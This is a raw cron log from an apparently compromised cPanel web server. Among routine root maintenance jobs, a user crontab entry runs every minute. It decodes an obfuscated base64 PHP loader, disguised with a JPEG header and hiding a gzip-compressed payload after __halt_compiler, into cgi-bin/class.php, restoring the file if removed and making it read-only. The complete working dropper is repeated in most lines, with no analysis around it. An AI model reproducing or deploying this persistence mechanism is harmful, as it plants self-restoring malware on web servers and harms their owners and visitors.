Nov 15 13:57:01 server CROND[17787]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:57:01 server CROND[17788]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 13:58:01 server CROND[18053]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:59:01 server CROND[18333]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:00:01 server CROND[18746]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 15 14:00:01 server CROND[18748]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 14:00:01 server CROND[18747]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 14:00:01 server CROND[18749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 14:00:01 server CROND[18750]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:01:01 server CROND[19287]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 14:01:01 server CROND[19288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:01:01 server run-parts(/etc/cron.hourly)[19287]: starting 0anacron
Nov 15 14:01:01 server run-parts(/etc/cron.hourly)[19301]: finished 0anacron
Nov 15 14:02:01 server CROND[19560]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:03:01 server CROND[19821]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:04:01 server CROND[20076]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:05:01 server CROND[20349]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 14:05:01 server CROND[20350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 14:05:01 server CROND[20351]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 15 14:05:01 server CROND[20353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:05:01 server CROND[20352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 14:06:01 server CROND[20680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:07:01 server CROND[21093]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:08:01 server CROND[21358]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:09:01 server CROND[21613]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:09:01 server CROND[21614]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 14:10:01 server CROND[21881]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 14:10:01 server CROND[21882]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
